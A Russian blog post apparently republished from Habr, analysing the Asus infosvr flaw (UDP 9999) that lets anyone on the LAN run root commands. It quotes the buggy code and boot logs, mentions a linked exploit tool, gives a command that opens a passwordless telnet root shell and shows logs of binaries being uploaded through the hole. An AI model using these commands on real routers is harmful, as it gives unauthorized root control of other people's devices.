- PVSM.RU - https://www.pvsm.ru -
В начале 2015 года компания Asus исправила критичнейшую уязвимость в своих роутерах. «Дыра» была в службе по имени infosvr, использующейся утилитами Asus для облегчения настройки роутера путём его автоматического обнаружения в локальной сети. Уязвимость позволяла выполнять любые команды с правами root (ведь infosvr тоже root), что давало злоумышленнику полный контроль над системой.
Но Asus выпустила исправленные прошивки. Теперь это всё в прошлом. Или нет? Хм… А как часто обыватели обновляют прошивки на своих роутерах?

Прошу под кат за подробностями, историей обнаружения, исследованиями, инструкциями и… эксплоитами.
Служба infosvr слушает 9999 порт (UDP). Когда приходит пакет размером не менее 512 байт она анализирует его и в зависимости от его типа выполняет соответствующие ответные действия. Например, собирает информацию о некоторых настройках роутера и отправляет её программе Device Discovery, которая помогает найти IP-адрес роутера. Но есть ещё и такой тип пакета, который подразумевает выполнение системной команды роутером. Тут-то Asus'овцы и облажались. Из-за ошибки в коде обработки такого пакета выполнить команду можно без всякой авторизации. Это строка if (memcpy(phdr_ex->MacAddress, mac, 6)==0) в следующем листинге (несущественные строки удалены):
if (phdr->OpCode!=NET_CMD_ID_GETINFO && phdr->OpCode!=NET_CMD_ID_GETINFO_MANU)
{
phdr_ex = (IBOX_COMM_PKT_HDR_EX *)pdubuf;
// Check Mac Address
if (memcpy(phdr_ex->MacAddress, mac, 6)==0)
{
_dprintf("Mac Error %2x%2x%2x%2x%2x%2xn",
(unsigned char)phdr_ex->MacAddress[0],
(unsigned char)phdr_ex->MacAddress[1],
(unsigned char)phdr_ex->MacAddress[2],
(unsigned char)phdr_ex->MacAddress[3],
(unsigned char)phdr_ex->MacAddress[4],
(unsigned char)phdr_ex->MacAddress[5]
);
return NULL;
}
phdr_res->Info = phdr_ex->Info;
memcpy(phdr_res->MacAddress, phdr_ex->MacAddress, 6);
}
Вероятно, там вместо memcpy предполагалось memcmp (вот что бывает когда копируете строки кода, с целью чуть-чуть подправить потом), а вместо == предполагалось !=. Но даже если бы этой ошибки не было, всё равно для проникновения достаточно было бы знать MAC-адрес.
После успешной «аутентификации» команда из пакета будет выполнена:
switch(phdr->OpCode)
{
case NET_CMD_ID_MANU_CMD:
#define MAXSYSCMD 256
char cmdstr[MAXSYSCMD];
PKT_SYSCMD *syscmd;
syscmd = (PKT_SYSCMD *)(pdubuf+sizeof(IBOX_COMM_PKT_HDR_EX));
if (syscmd->len>=MAXSYSCMD) syscmd->len=MAXSYSCMD;
syscmd->cmd[syscmd->len]=0;
syscmd->len=strlen(syscmd->cmd);
fprintf(stderr,"system cmd: %d %sn", syscmd->len, syscmd->cmd);
sprintf(cmdstr, "%s > /tmp/syscmd.out", syscmd->cmd);
system(cmdstr);
Впечатляют масштабы? На самом деле всё было не так уж и плохо (а сейчас, когда «дыру» закрыли — вообще хорошо). Дело в том, что infosvr работает с интерфейсом br0, т.е. с мостом между другими интерфейсами. В случае, если роутер работает в режиме IP Sharing (Режим общего IP), br0 объединяет eth0 и wlan0. Заметьте, eth1 (который WAN) сюда не входит. Т.е. уже радует то, что с внешней сети никто не пролезет. А вот когда роутер в режиме Access point, то br0 объединяет все интерфейсы…
Как-то мне захотелось порулить своим роутером через UART, то бишь через аппаратную консоль. «Зачем такие трудности? По телнету зайди.» — скажете вы. Не тут-то было! Это же RT-N10E! (Он же RT-N10LX).
Не буду тут много рассказывать насколько это дерьмовый роутер. Кто сталкивался — знает. А для счастливчиков, кому не приходилось с ним возиться скажу, что роутеры Asus RT-xxxE (или RT-xxxLX) имеют процессор от Realtek, под который нет альтернативных прошивок! Хотя сообщество пытается [3]. На официальных же прошивках я пару лет назад пользовался PPTP. Постоянные зависания, разрывы и прочие радости. PPPoE по началу вообще не поднимался (в какой-то прошивке исправили). Сейчас этот роутер работает просто как мост между WiFi и Ethernet.
Различие Asus RT-N10E и Asus RT-N10LX
По сути, это один и тот же роутер, Asus RT-N10LX имеет антенну на 2 dBi, RT-N10E – 5 dBi. В спецификациях к RT-N10LX указано дополнительно IEEE 802.11d – по сути, означает только то, что роутер учитывает региональные правовые ограничения в сфере связи, в связи с чем, используется более слабая антенна. Лично мне попался экземпляр (2012 года сборки) с малой антенной на 2 dBi, при этом вся маркировка на роутере и коробке говорит о том, что это RT-N10E, а не RT-N10LX. Если внимательно посмотреть информацию на официальном сайте, там это указано: «Antenna type will differ according to local regulations and requirement in each country» а также «This model sells only in EU, China, and South America». Как говорится, те же яйца, только в профиль. Прошивка в этих двух моделях одна и та же.Различие Asus RT-N10E/LX и RT-N12E/LX
В 12-й модели тот же процессор, но другой контроллер – RTL8192CE, который позволяет использовать 2 MIMO, обеспечивая теоретически до 300 Мбит/сек. Отличие версий RT-N12E и RT-N12LX – в антеннах.Различие Asus RT-N10E/LX и Asus RT-N10
У ASUS также есть роутеры RT-N10 и RT-N12. И тут важно понимать, это другие устройства, которые собраны на базе чипов Broadcom. Для RT-N10 и RT-N12 есть альтернативные прошивки энтузиастов, в том числе «от Олега». Будьте внимательны при покупке!
Источник [4]
Итак, подключились к UARTу.
Включаем. Видим процесс загрузки. (Кэп: Кстати, через телнет этого не увидишь. Так-то!)
####return_addr: 0x05010000, root_bin_offset: 0x050dd012
Jump to image start=0x80500000…
decompressing kernel:
Uncompressing Linux… done, booting the kernel.
done decompressing kernel.
start address: 0x80003600
RTL8192C/RTL8188C driver version 1.6 (2011-07-18)
Probing RTL8186 10/100 NIC-kenel stack size order[2]…
chip name: 8196C, chip revid: 4
NOT YET
eth0 added. vid=9 Member port 0x10…
eth1 added. vid=8 Member port 0x1…
eth2 added. vid=9 Member port 0x2…
eth3 added. vid=9 Member port 0x4…
eth4 added. vid=9 Member port 0x8…
[peth0] added, mapping to [eth1]…
init started: BusyBox v1.13.4 (2014-09-18 18:01:50 CST)
##flash.c free apmib ##
Init Start…
##system/sysconf.c free apmib ##
##flash.c free apmib ##
===== Set parameter for BSMI test=====
Init bridge interface…
syslog will use 64KB for log(7 rotate, 1 original, 8KB for each)
Init Wlan application…
##flash.c free apmib ##
##flash.c free apmib ##
Init Firewall Rules…
No wan ip currently!
Init WAN Interface…
start_wan: sysop 0 wan_iface eth1 lan_iface br0 wisp_id 0 act_source 1
set_dhcp_client: sysop 0 wan_iface eth1 lan_iface br0 wisp_id 0 act_source 1
start_wan_dhcp_client: iface eth1
No such process
MiniIGD v1.07 (2013.05.21-07:19+0000).
System TZ ENV = GMT-2
Restart networkmap
##system/sysconf.c free apmib ##
start infosvr
router ip = 192.168.1.1
mac addr = 50:46:5d:86:76:fc
WLAN0_WLAN_DISABLED=0 ##flash.c free apmib ##
sh: ##flash.c: unknown operand
# Start wanduck!
Start httpd!
# 1:Enable direct rule
После окончания загрузки я начал исследовать систему: версии ПО, железо и другую информацию, которую можно добыть при помощи консоли. Но об этом позже.
Интересно посмотреть реакцию на стандартные действия пользователя, как-то: нажатие на кнопку WPS, настройка через веб-морду, использование Asus Utility… Действительно, на консоли появлялась соответствующая информация. Отдельно стоит упомянуть такой факт: при попытке открыть веб-интерфейс httpd (предположительно) пишет в /dev/console (/dev/ttyS0) логин и пароль для входа!
UserID: admin
UserPass: asus-rt
Правда, на телнет (/dev/ttyp0) это не попадает.
Из всего пакета Asus Utility (Device Discovery, Router Setup Wizard и Firmware Restoration) реакцию консоли вызвал только Router Setup Wizard. А именно: при запуске приложения и нажатии на кнопку «Далее» появляются такие строки:
system cmd: 17 nvram get sw_mode
rund: echo 1 > /tmp/syscmd.out
2 1system cmd: 17 nvram get sw_mode
rund: echo 1 > /tmp/syscmd.out
2 1system cmd: 17 nvram get sw_mode
rund: echo 1 > /tmp/syscmd.out
2 1system cmd: 17 nvram get sw_mode
rund: echo 1 > /tmp/syscmd.out
2 1system cmd: 19 nvram get x_Setting
sh: nvram: not found
rund: nvram get x_Setting > /tmp/syscmd.out
0 1system cmd: 19 nvram get x_Setting
sh: nvram: not found
rund: nvram get x_Setting > /tmp/syscmd.out
0 1system cmd: 19 nvram get x_Setting
sh: nvram: not found
rund: nvram get x_Setting > /tmp/syscmd.out
0 1system cmd: 19 nvram get x_Setting
sh: nvram: not found
rund: nvram get x_Setting > /tmp/syscmd.out
0 1
Хм… ![]()
Эти команды Router Setup Wizard передаёт? Посмотрел через Wireshark — да, эти команды передаются в UDP пакетах с RSW. А что если их заменить на свои?
Перед тем, как начать ковыряться в пакетах, я решил погуглить. И нагуглил кое-что (раз [5] и два [6]). По второй ссылке подробное описание уязвимости и простой эксплоит под Линукс (есть и на python-е).
Мне хотелось бы иметь такую программку под Windows, поскольку Я 95% времени пользуюсь именно ей. Не хочется ради выполнения какой-то команды загружать виртуальную машину с Ubuntu.
В процессе написания и отладки эксплоита, а также копания в исходниках infosvr выяснились «параметры» этой «дыры».
А именно её размеры. Они такие:
Размеры буферов приёма и отправки — по 420 байт. И всё бы неплохо, но реально 420 байт роутер может только отправить в ответе. А вот с приёмом дела ещё хуже. Дело в том, что после приёма команды infosvr обрезает её до 256 символов и только потом — исполняет. Но и это ещё не последнее ограничение. При выполнении команды длиной чуть менее 256 символов infosvr падает с грохотом segmentation fault. Команда выполнена, но ни ответа уже не будет, ни возможности исполнить ещё что-то. Опытным путём была найдена предельная безопасная длина пользовательской команды. Это 238 символов. Итак, размеры «дыры»: 238 — команда, 420 — ответ.
system(«echo „Some text“>/var/myText;cat /var/myText > /tmp/syscmd.out»);
Тут полная команда:
'echo «Some text»>/var/myText;cat /var/myText > /tmp/syscmd.out'
Где:
'echo «Some text»>/var/myText;cat /var/myText'
— команда, отправленная пользователем с помощью AsusCmd;
' > /tmp/syscmd.out'
— жёстко запрограммировано в коде infosvr.
Кстати, зачем нужно перенаправление в /tmp/syscmd.out? А затем, что именно с него потом считывается в буфер 420 байт и отправляется ответ на команду.
«Предельная безопасная длина» относится именно к пользовательской команде.
Т.е. при длине пользовательской команды 238 символов длина полной команды будет 238+18=256. Может именно падения infosvr хотели избежать разработчики, когда обрезали команду до 256 символов? Похоже они не учли strlen(" > /tmp/syscmd.out").
Експлоит написан и отлажен. Можно пользоваться [7].
Но так рулить роутером не очень удобно. И, если в данном случае ограничение в 238 символов команды не сильно заметно, то ограничение на вывод ответа в 420 символов — это уже печальнее. Но выход есть! Хоть на роутере и сильно ограниченный busybox, но там всё-же есть telnetd! Запускать его лучше на нестандартном порте, т.к. защиты нет никакой: для подключения пароль не нужен.
AsusCmd.exe «telnetd -l/bin/sh -p777»
Ну, теперь другое дело! Можно полноценно командовать со всеми удобствами, как-то история команд и дополнение по Tab. Если телнет перестал отвечать, его можно перезапустить, не перезагружая роутер. Сначала надо прибить связанный с ним sh:
AsusCmd.exe «killall -9 sh»
Учтите, что после выполнения этой команды будет также убит sh, который связан с /dev/console. Теперь можно снова запускать telnetd.
Отлично. Тема исчерпана? Как-бы не так.
Итак, мы можем пользоваться всеми доступными командами. Можем создавать и удалять файлы в каталогах, доступных для записи (ramfs /var). Можно записать несколькими командами длинный текстовый файл. Но не только текстовый! Ведь echo в Linux-е умеет преобразовывать текст в двоичные данные! Это значит, что мы можем заливать на роутер свои программы, которых нам не хватает!
Идея проста:
Но это на словах всё легко и просто. На практике мы имеем дело с парой неприятных факторов:
С ограничением на полезную длину команды всё понятно: просто придётся больше пакетов отправить. Плохо в этом случае то, что страдает скорость передачи. Ведь процессору роутера приходится обрабатывать много мелких пакетов. Т.е. скорость передачи прямо пропорциональна скорости процессора роутера. (Проверено с помощью cpuload: во время работы AsusBinWrite CPU роутера грузится на 100%).
С UDP посложнее. Надо как-то контролировать правильность передачи. Примитивный способ — просто дописывать очередные байты в конец файла — не подходит. Стоит одному пакету на пути к роутеру потеряться или продублироваться — и файл уже бракован. Поэтому принято решение сначала записывать отдельные части в разные файлы и проверять их содержимое. А в потом их можно объединить. И ещё: объединять следует не в самом конце, а через какое-то количество переданных частей. Потому, что одна часть занимает места в памяти не, скажем, 40 байт (размер файла-части), а все 4 КБ (страница). А если частей тысячи? Никакой оперативки не хватит (На RT-N10E её лишь 16MB). После успешного объединения (успешность тоже проверяется по признаку увеличения размера целевого файла на роутере) эти части удаляются. Вот так в цикле передаём весь файл до конца. Получился такой-себе протокол надёжной передачи файлов на роутер посредством UDP.
Чтобы лучше понять алгоритм работы предлагаю посмотреть, что происходит на /dev/console (/dev/ttyS0) во время передачи файла и сопоставить это с выводом самого AsusBinWrite [8].
48.2% 5.2 Bps part 101 (49 B; cmd: 237 ch) 192.168.1.1: OK
48.7% 116.7 Bps part 102 (49 B; cmd: 237 ch) שש192.168.1.1: OK
49.1% 196.8 Bps part 103 (49 B; cmd: 237 ch) LOST
49.1% 32.7 Bps part 103 (49 B; cmd: 237 ch) 192.168.1.1: OK
49.6% 418.8 Bps part 104 (49 B; cmd: 237 ch) שש192.168.1.1: OK
50.1% 138.8 Bps part 105 (49 B; cmd: 237 ch) 192.168.1.1: OK
50.6% 150.8 Bps part 106 (49 B; cmd: 237 ch) 192.168.1.1: OK
51.1% 153.6 Bps part 107 (49 B; cmd: 237 ch) שש192.168.1.1: OK
51.6% 151.7 Bps part 108 (49 B; cmd: 237 ch) ש192.168.1.1: OK
52.1% 142.4 Bps part 109 (49 B; cmd: 237 ch) ש192.168.1.1: OK
52.5% 145.5 Bps part 110 (48 B; cmd: 235 ch) ש192.168.1.1: OK
53.0% 150.9 Bps part 111 (48 B; cmd: 235 ch) שLOST
53.0% 31.7 Bps part 111 (48 B; cmd: 235 ch) 192.168.1.1: OK
53.5% 410.3 Bps part 112 (48 B; cmd: 235 ch) שש192.168.1.1: OK
54.0% 143.3 Bps part 113 (48 B; cmd: 235 ch) ש192.168.1.1: OK
54.4% 144.6 Bps part 114 (48 B; cmd: 235 ch) שש192.168.1.1: OK
54.9% 141.6 Bps part 115 (48 B; cmd: 235 ch) 192.168.1.1: OK
55.4% 150.0 Bps part 116 (48 B; cmd: 235 ch) ש192.168.1.1: OK
55.9% 140.4 Bps part 117 (48 B; cmd: 235 ch) ש192.168.1.1: OK
56.3% 151.9 Bps part 118 (48 B; cmd: 235 ch) ש192.168.1.1: OK
56.8% 142.0 Bps part 119 (48 B; cmd: 235 ch) ש192.168.1.1: OK
57.3% 145.5 Bps part 120 (48 B; cmd: 235 ch) 192.168.1.1: OK
57.8% 140.8 Bps part 121 (48 B; cmd: 235 ch) 192.168.1.1: OK
58.3% 154.3 Bps part 122 (48 B; cmd: 235 ch) ש192.168.1.1: OK
58.7% 144.6 Bps part 123 (48 B; cmd: 235 ch) 192.168.1.1: OK
59.2% 141.2 Bps part 124 (48 B; cmd: 235 ch) 192.168.1.1: OK
59.7% 138.7 Bps part 125 (48 B; cmd: 235 ch) 192.168.1.1: OK
60.2% 151.9 Bps part 126 (48 B; cmd: 235 ch) ש192.168.1.1: OK
60.6% 142.9 Bps part 127 (48 B; cmd: 235 ch) שLOST
60.6% 31.9 Bps part 127 (48 B; cmd: 235 ch) 192.168.1.1: OK
61.1% 378.0 Bps part 128 (48 B; cmd: 235 ch) ש192.168.1.1: OK
61.6% 142.4 Bps part 129 (48 B; cmd: 235 ch) 192.168.1.1: OK
62.1% 150.0 Bps part 130 (48 B; cmd: 235 ch) שש192.168.1.1: OK
62.5% 136.8 Bps part 131 (48 B; cmd: 235 ch) ש192.168.1.1: OK
63.0% 154.3 Bps part 132 (48 B; cmd: 235 ch) 192.168.1.1: OK
63.5% 149.1 Bps part 133 (48 B; cmd: 235 ch) ש192.168.1.1: OK
64.0% 145.9 Bps part 134 (48 B; cmd: 235 ch) שש192.168.1.1: OK
64.4% 142.4 Bps part 135 (48 B; cmd: 235 ch) שש192.168.1.1: OK
64.9% 147.7 Bps part 136 (48 B; cmd: 235 ch) שש192.168.1.1: OK
65.4% 146.8 Bps part 137 (48 B; cmd: 235 ch) ש192.168.1.1: OK
65.9% 142.0 Bps part 138 (48 B; cmd: 235 ch) שש192.168.1.1: OK
66.3% 179.8 Bps part 139 (48 B; cmd: 235 ch) שש192.168.1.1: OK
66.8% 121.2 Bps part 140 (48 B; cmd: 235 ch) שש192.168.1.1: OK
67.3% 182.5 Bps part 141 (48 B; cmd: 235 ch) שש192.168.1.1: OK
67.8% 119.4 Bps part 142 (48 B; cmd: 235 ch) ש192.168.1.1: OK
68.2% 146.3 Bps part 143 (48 B; cmd: 235 ch) ש192.168.1.1: OK
68.7% 145.0 Bps part 144 (48 B; cmd: 235 ch) ש192.168.1.1: OK
69.2% 142.4 Bps part 145 (48 B; cmd: 235 ch) ש192.168.1.1: OK
69.7% 142.9 Bps part 146 (48 B; cmd: 235 ch) 192.168.1.1: OK
70.2% 145.0 Bps part 147 (48 B; cmd: 235 ch) 192.168.1.1: OK
70.6% 142.0 Bps part 148 (48 B; cmd: 235 ch) 192.168.1.1: OK
71.1% 152.9 Bps part 149 (48 B; cmd: 235 ch) ש192.168.1.1: OK
71.6% 177.1 Bps part 150 (48 B; cmd: 235 ch) 192.168.1.1: OK
72.1% 122.8 Bps part 151 (48 B; cmd: 235 ch) שש192.168.1.1: OK
72.5% 143.3 Bps part 152 (48 B; cmd: 235 ch) שש192.168.1.1: OK
73.0% 145.9 Bps part 153 (48 B; cmd: 235 ch) שLOST
73.0% 31.7 Bps part 153 (48 B; cmd: 235 ch) 192.168.1.1: OK
73.5% 432.4 Bps part 154 (48 B; cmd: 235 ch) ש192.168.1.1: OK
74.0% 144.6 Bps part 155 (48 B; cmd: 235 ch) שש192.168.1.1: OK
74.4% 145.5 Bps part 156 (48 B; cmd: 235 ch) ש192.168.1.1: OK
74.9% 182.5 Bps part 157 (48 B; cmd: 235 ch) שש192.168.1.1: OK
75.4% 117.1 Bps part 158 (48 B; cmd: 235 ch) ש192.168.1.1: OK
75.9% 148.6 Bps part 159 (48 B; cmd: 235 ch) שש192.168.1.1: OK
76.3% 183.9 Bps part 160 (48 B; cmd: 235 ch) ש192.168.1.1: OK
76.8% 140.4 Bps part 161 (48 B; cmd: 235 ch) ש192.168.1.1: OK
77.3% 121.2 Bps part 162 (48 B; cmd: 235 ch) 192.168.1.1: OK
77.8% 149.1 Bps part 163 (48 B; cmd: 235 ch) שש192.168.1.1: OK
78.2% 141.6 Bps part 164 (48 B; cmd: 235 ch) ש192.168.1.1: OK
78.7% 145.0 Bps part 165 (48 B; cmd: 235 ch) ש192.168.1.1: OK
79.2% 148.1 Bps part 166 (48 B; cmd: 235 ch) ש192.168.1.1: OK
79.7% 176.5 Bps part 167 (48 B; cmd: 235 ch) 192.168.1.1: OK
80.1% 121.5 Bps part 168 (48 B; cmd: 235 ch) שש192.168.1.1: OK
80.6% 145.5 Bps part 169 (48 B; cmd: 235 ch) שש192.168.1.1: OK
81.1% 144.6 Bps part 170 (48 B; cmd: 235 ch) ששLOST
81.1% 31.7 Bps part 170 (48 B; cmd: 235 ch) 192.168.1.1: OK
81.6% 417.4 Bps part 171 (48 B; cmd: 235 ch) שש192.168.1.1: OK
82.1% 144.6 Bps part 172 (48 B; cmd: 235 ch) שש192.168.1.1: OK
82.5% 182.5 Bps part 173 (48 B; cmd: 235 ch) 192.168.1.1: OK
83.0% 119.4 Bps part 174 (48 B; cmd: 235 ch) ש192.168.1.1: OK
83.5% 139.5 Bps part 175 (48 B; cmd: 235 ch) 192.168.1.1: OK
84.0% 145.9 Bps part 176 (48 B; cmd: 235 ch) 192.168.1.1: OK
84.4% 145.9 Bps part 177 (48 B; cmd: 235 ch) 192.168.1.1: OK
84.9% 142.0 Bps part 178 (48 B; cmd: 235 ch) 192.168.1.1: OK
85.4% 150.5 Bps part 179 (48 B; cmd: 235 ch) ש192.168.1.1: OK
85.9% 150.0 Bps part 180 (48 B; cmd: 235 ch) ש192.168.1.1: OK
86.3% 142.0 Bps part 181 (48 B; cmd: 235 ch) ש192.168.1.1: OK
86.8% 143.7 Bps part 182 (48 B; cmd: 235 ch) שש192.168.1.1: OK
87.3% 147.7 Bps part 183 (48 B; cmd: 235 ch) ש192.168.1.1: OK
87.8% 141.6 Bps part 184 (48 B; cmd: 235 ch) LOST
87.8% 32.0 Bps part 184 (48 B; cmd: 235 ch) 192.168.1.1: OK
88.2% 355.6 Bps part 185 (48 B; cmd: 235 ch) ש192.168.1.1: OK
88.7% 149.1 Bps part 186 (48 B; cmd: 235 ch) שש192.168.1.1: OK
89.2% 140.4 Bps part 187 (48 B; cmd: 235 ch) ש192.168.1.1: OK
89.7% 147.2 Bps part 188 (48 B; cmd: 235 ch) ש192.168.1.1: OK
90.1% 148.1 Bps part 189 (48 B; cmd: 235 ch) ש192.168.1.1: OK
90.6% 144.1 Bps part 190 (48 B; cmd: 235 ch) LOST
90.6% 32.0 Bps part 190 (48 B; cmd: 235 ch) 192.168.1.1: OK
91.1% 406.8 Bps part 191 (48 B; cmd: 235 ch) 192.168.1.1: OK
91.6% 142.9 Bps part 192 (48 B; cmd: 235 ch) 192.168.1.1: OK
92.0% 148.1 Bps part 193 (48 B; cmd: 235 ch) ש192.168.1.1: OK
92.5% 144.6 Bps part 194 (48 B; cmd: 235 ch) ש192.168.1.1: OK
93.0% 147.2 Bps part 195 (48 B; cmd: 235 ch) ש192.168.1.1: OK
93.5% 144.1 Bps part 196 (48 B; cmd: 235 ch) ש192.168.1.1: OK
94.0% 147.7 Bps part 197 (48 B; cmd: 235 ch) שש192.168.1.1: OK
94.4% 145.9 Bps part 198 (48 B; cmd: 235 ch) שש192.168.1.1: OK
94.9% 174.5 Bps part 199 (48 B; cmd: 235 ch) 192.168.1.1: OK
95.4% 123.4 Bps part 200 (48 B; cmd: 237 ch) 192.168.1.1: OK
Merging to /var/ldd parts 101..116 (16 pcs; cmd: 229 ch)… OK (5586 B)
Merging to /var/ldd parts 117..132 (16 pcs; cmd: 238 ch)… OK (6354 B)
Merging to /var/ldd parts 133..148 (16 pcs; cmd: 238 ch)… OK (7122 B)
Merging to /var/ldd parts 149..164 (16 pcs; cmd: 238 ch)… OK (7890 B)
Merging to /var/ldd parts 165..180 (16 pcs; cmd: 238 ch)… OK (8658 B)
Merging to /var/ldd parts 181..196 (16 pcs; cmd: 238 ch)… OK (9426 B)
Merging to /var/ldd parts 197..200 (4 pcs; cmd: 71 ch)… OK (9618 B)
Written 9.39KB/9.85KB 92.9 Bps (avg) Remaining: 00:05 (01:54/01:59)
95.9% 4.9 Bps part 201 (49 B; cmd: 237 ch) 192.168.1.1: OK
96.4% 146.7 Bps part 202 (49 B; cmd: 237 ch) 192.168.1.1: OK
96.8% 155.6 Bps part 203 (49 B; cmd: 237 ch) שש192.168.1.1: OK
97.3% 142.9 Bps part 204 (49 B; cmd: 237 ch) 192.168.1.1: OK
97.8% 153.1 Bps part 205 (49 B; cmd: 237 ch) LOST
97.8% 32.7 Bps part 205 (49 B; cmd: 237 ch) 192.168.1.1: OK
98.3% 388.9 Bps part 206 (49 B; cmd: 237 ch) ש192.168.1.1: OK
98.8% 148.5 Bps part 207 (49 B; cmd: 237 ch) 192.168.1.1: OK
99.3% 144.5 Bps part 208 (49 B; cmd: 237 ch) 192.168.1.1: OK
99.8% 151.2 Bps part 209 (49 B; cmd: 237 ch) ש192.168.1.1: OK
100.0% 75.3 Bps part 210 (25 B; cmd: 143 ch) שש192.168.1.1: OK
Merging to /var/ldd parts 201..210 (10 pcs; cmd: 145 ch)… OK (10084 B)
Written 9.85KB/9.85KB 78.7 Bps (avg) Remaining: 00:00 (02:00/02:00)
Finished. File size on target is 9.85KB. Working time: 02:00 (120 sec)
Примечание к следующему спойлеру
///*** много-много подобных строк — ПЕРЕДАЧА ЧАСТЕЙ ФАЙЛА ***///
system cmd: 237 echo -ne "x00x00x00x03x20xf8x09x24x44x00x01x8fxbcx00x18x00x40x20x21x8fx99x80xacx02x20x28x21x03x20xf8x09xaex02x00x00x8fxbcx00x18x8ex04x00x00x8fx99x80x68x00">/var/ldd_0-100;cat /var/ldd_0-100
rund: echo -ne "x00x00x00x03x20xf8x09x24x44x00x01x8fxbcx00x18x00x40x20x21x8fx99x80xacx02x20x28x21x03x20xf8x09xaex02x00x00x8fxbcx00x18x8ex04x00x00x8fx99x80x68x00">/var/ldd_0-100;cat /var/ldd_0-100 > /tmp/syscmd.out
48
///--- Запрос размера целевого файла (для контроля успешности объединения частей) ---///
system cmd: 35 echo -n "">>/var/ldd;wc -c</var/ldd
rund: echo -n "">>/var/ldd;wc -c</var/ldd > /tmp/syscmd.out
2 0
///--- Объединение загруженных частей ---///
system cmd: 228 cat /var/ldd_0-1 /var/ldd_0-2 /var/ldd_0-3 /var/ldd_0-4 /var/ldd_0-5 /var/ldd_0-6 /var/ldd_0-7 /var/ldd_0-8 /var/ldd_0-9 /var/ldd_0-10 /var/ldd_0-11 /var/ldd_0-12 /var/ldd_0-13 /var/ldd_0-14 /var/ldd_0-15 /var/ldd_0-16>/var/ldd;
rund: cat /var/ldd_0-1 /var/ldd_0-2 /var/ldd_0-3 /var/ldd_0-4 /var/ldd_0-5 /var/ldd_0-6 /var/ldd_0-7 /var/ldd_0-8 /var/ldd_0-9 /var/ldd_0-10 /var/ldd_0-11 /var/ldd_0-12 /var/ldd_0-13 /var/ldd_0-14 /var/ldd_0-15 /var/ldd_0-16>/var/ldd; > /tmp/syscmd.out
0 0
///--- Запрос размера целевого файла (для контроля успешности объединения частей) ---///
system cmd: 14 wc -c</var/ldd
rund: wc -c</var/ldd > /tmp/syscmd.out
4 777
ш $D
system cmd: 238 cat /var/ldd_0-17 /var/ldd_0-18 /var/ldd_0-19 /var/ldd_0-20 /var/ldd_0-21 /var/ldd_0-22 /var/ldd_0-23 /var/ldd_0-24 /var/ldd_0-25 /var/ldd_0-26 /var/ldd_0-27 /var/ldd_0-28 /var/ldd_0-29 /var/ldd_0-30 /var/ldd_0-31 /var/ldd_0-32>>/var/ldd;
rund: cat /var/ldd_0-17 /var/ldd_0-18 /var/ldd_0-19 /var/ldd_0-20 /var/ldd_0-21 /var/ldd_0-22 /var/ldd_0-23 /var/ldd_0-24 /var/ldd_0-25 /var/ldd_0-26 /var/ldd_0-27 /var/ldd_0-28 /var/ldd_0-29 /var/ldd_0-30 /var/ldd_0-31 /var/ldd_0-32>>/var/ldd; > /tmp/syscmd.out
0 777
ш $D
system cmd: 14 wc -c</var/ldd
rund: wc -c</var/ldd > /tmp/syscmd.out
5 1545
ш $D
///*** много подобных строк — ОБЪЕДИНЕНИЕ ПЕРЕДАННЫХ ЧАСТЕЙ ФАЙЛА ***///
system cmd: 71 cat /var/ldd_0-97 /var/ldd_0-98 /var/ldd_0-99 /var/ldd_0-100>>/var/ldd;
rund: cat /var/ldd_0-97 /var/ldd_0-98 /var/ldd_0-99 /var/ldd_0-100>>/var/ldd; > /tmp/syscmd.out
0 4617
ш $D
system cmd: 14 wc -c</var/ldd
rund: wc -c</var/ldd > /tmp/syscmd.out
5 4809
ш $D
system cmd: 14 wc -c</var/ldd
rund: wc -c</var/ldd > /tmp/syscmd.out
5 4809
ш $D
///--- следующая команда удаляет уже объединённые части ---///
system cmd: 37 rm /var/ldd_0-*;ls /var/ldd_0-*|wc -l
ls: /var/ldd_0-*: No such file or directory
rund: rm /var/ldd_0-*;ls /var/ldd_0-*|wc -l > /tmp/syscmd.out
2 0
09
ш $D
///--- далее цикл повторяется для следующего куска (в исходниках называемого chunk-ом) исходного файла ---///
system cmd: 237 echo -ne "x00x00x00x03x20xf8x09x00x00x00x00x8fxbcx00x18x3cx03x00x41xaex02x00x08x24x02x00x01xaex02x00x04xaex00x00x0cxacx62x21x88x12x00x00x42x00x00x00x00x8fxa4">/var/ldd_1-1;cat /var/ldd_1-1
rund: echo -ne "x00x00x00x03x20xf8x09x00x00x00x00x8fxbcx00x18x3cx03x00x41xaex02x00x08x24x02x00x01xaex02x00x04xaex00x00x0cxacx62x21x88x12x00x00x42x00x00x00x00x8fxa4">/var/ldd_1-1;cat /var/ldd_1-1 > /tmp/syscmd.out
49
system cmd: 237 echo -ne "x01x58x00x00x00x00x94x82x00x10x00x00x00x00x24x42xffxfex30x42xffxffx2cx42x00x02x10x40x00x39x24x03xffx00x8cx82x00x04x00x00x00x00x00x62x18x24x3cx02x01">/var/ldd_1-2;cat /var/ldd_1-2
rund: echo -ne "x01x58x00x00x00x00x94x82x00x10x00x00x00x00x24x42xffxfex30x42xffxffx2cx42x00x02x10x40x00x39x24x03xffx00x8cx82x00x04x00x00x00x00x00x62x18x24x3cx02x01">/var/ldd_1-2;cat /var/ldd_1-2 > /tmp/syscmd.out
49 X
///*** много-много-много строк — ПРОХОДИТ НЕСКОЛЬКО ЦИКЛОВ ***///
system cmd: 237 echo -ne "x00x01x00x00x00x00x00x41x21xa0x00x00x22x84x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x01x00x00x00x00x00x00x00x01x00x00x00x03x00x00x00x00x00x00x00">/var/ldd_2-9;cat /var/ldd_2-9
rund: echo -ne "x00x01x00x00x00x00x00x41x21xa0x00x00x22x84x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x01x00x00x00x00x00x00x00x01x00x00x00x03x00x00x00x00x00x00x00">/var/ldd_2-9;cat /var/ldd_2-9 > /tmp/syscmd.out
49
system cmd: 143 echo -ne "x00x00x00x22x84x00x00x00xcex00x00x00x00x00x00x00x00x00x00x00x01x00x00x00x00">/var/ldd_2-10;cat /var/ldd_2-10
rund: echo -ne "x00x00x00x22x84x00x00x00xcex00x00x00x00x00x00x00x00x00x00x00x01x00x00x00x00">/var/ldd_2-10;cat /var/ldd_2-10 > /tmp/syscmd.out
25
system cmd: 35 echo -n "">>/var/ldd;wc -c</var/ldd
rund: echo -n "">>/var/ldd;wc -c</var/ldd > /tmp/syscmd.out
5 9618
